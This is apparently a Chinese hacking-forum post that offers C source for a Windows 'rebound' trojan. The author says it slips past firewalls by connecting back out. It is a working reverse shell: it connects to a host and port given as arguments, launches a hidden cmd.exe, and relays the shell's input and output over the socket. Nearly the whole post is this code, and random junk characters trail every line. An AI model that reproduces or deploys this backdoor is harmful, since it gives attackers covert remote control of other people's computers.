这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |FFz $'8)
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/* ============================== 7Z9'Y?[m
Rebound port in Windows NT =LY`K#
By wind,2006/7
9PV]bt,
===============================*/ _KloX{a
#include KKQT?/ {b
#include z-3.%P2g
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#pragma comment(lib,"wsock32.lib") l4mRNYv)z
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void OutputShell(); ]Ndy12,M
SOCKET sClient; ;HYEJ3
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; IAbQgBvUD
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void main(int argc,char **argv) NHUJ:j@
{ 1mHS -oI9J
WSADATA stWsaData; +<$nZ=,hsy
int nRet; S/*\j7cj
SOCKADDR_IN stSaiClient,stSaiServer; @gqZiFM)
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if(argc != 3) An}RD73!w
{ C ]B P}MY<
printf("Useage:\n\rRebound DestIP DestPort\n"); qh W]Wd"g
return; \{Q_\s&)
} Z[&FIG%tV
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WSAStartup(MAKEWORD(2,2),&stWsaData); D
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tKyGD|g S
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stSaiClient.sin_family = AF_INET; s[eSPSFZ
stSaiClient.sin_port = htons(0); Q%~BD@Io
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 67/\0mV:~
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /
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{ A*:|d~
printf("Bind Socket Failed!\n"); feS$)H9-
return; ;`xCfOY(
} 2 Y9u9;ah
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stSaiServer.sin_family = AF_INET; wWx{#!W
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); iEI#J!~
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); G*_]Lz(N
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >jiez,
{ sk07|9nU
printf("Connect Error!"); O..{wdZy
return; 6d5J*y2
} RX{}
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OutputShell(); kWa5=BW2f
} Y|wjt\M
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void OutputShell() e*`ht+
{ GzaGTd.b
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; }^Sk.:;n3
OSVERSIONINFO stOsversionInfo; MBjAe!,-
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K:XP;#OsP
STARTUPINFO stStartupInfo; E_'H=QN c
char *szShell; V=fh;p
PROCESS_INFORMATION stProcessInformation; AB3OG*C9
unsigned long lBytesRead; sMVk]Mb
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Nw9:Gi
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >}+R+''nR
stSecurityAttributes.lpSecurityDescriptor = 0; _UZPQ[
stSecurityAttributes.bInheritHandle = TRUE; N)D+FV29y
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); NNr6~m)3v
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \}4*}Lr
stStartupInfo.wShowWindow = SW_HIDE; \ `z%5/@f;
stStartupInfo.hStdInput = hReadPipe; 9MO=f^f-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )\D{5j
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GetVersionEx(&stOsversionInfo); ?[.8A/:5
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switch(stOsversionInfo.dwPlatformId) nql9SQ'\\
{ :JX2GRL4
case 1: uD?G\"L
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szShell = "command.com"; `9^+KK "
break; <[
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default: R{Zd ]HT
szShell = "cmd.exe"; s I\-0og
break; <%d!Sk4
} ?M|1'`!c8
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &b^~0Z
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send(sClient,szMsg,77,0); _()1"5{
while(1) g-UCvY
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{ ?ZGsh7<k
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <)!,$]S
if(lBytesRead) R ai
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{ +C~d;p
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); >EFWevT{
send(sClient,szBuff,lBytesRead,0); p[xGL }
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} |kvH`&s
else N>*+Wg$Ne
{ U/kQw rM
lBytesRead=recv(sClient,szBuff,1024,0); zdU46|!u
if(lBytesRead<=0) break; "9c=kqkX
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); b+:J?MR;}
} .QKyB>s
} RjvW*'2G
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return; =&pLlG
}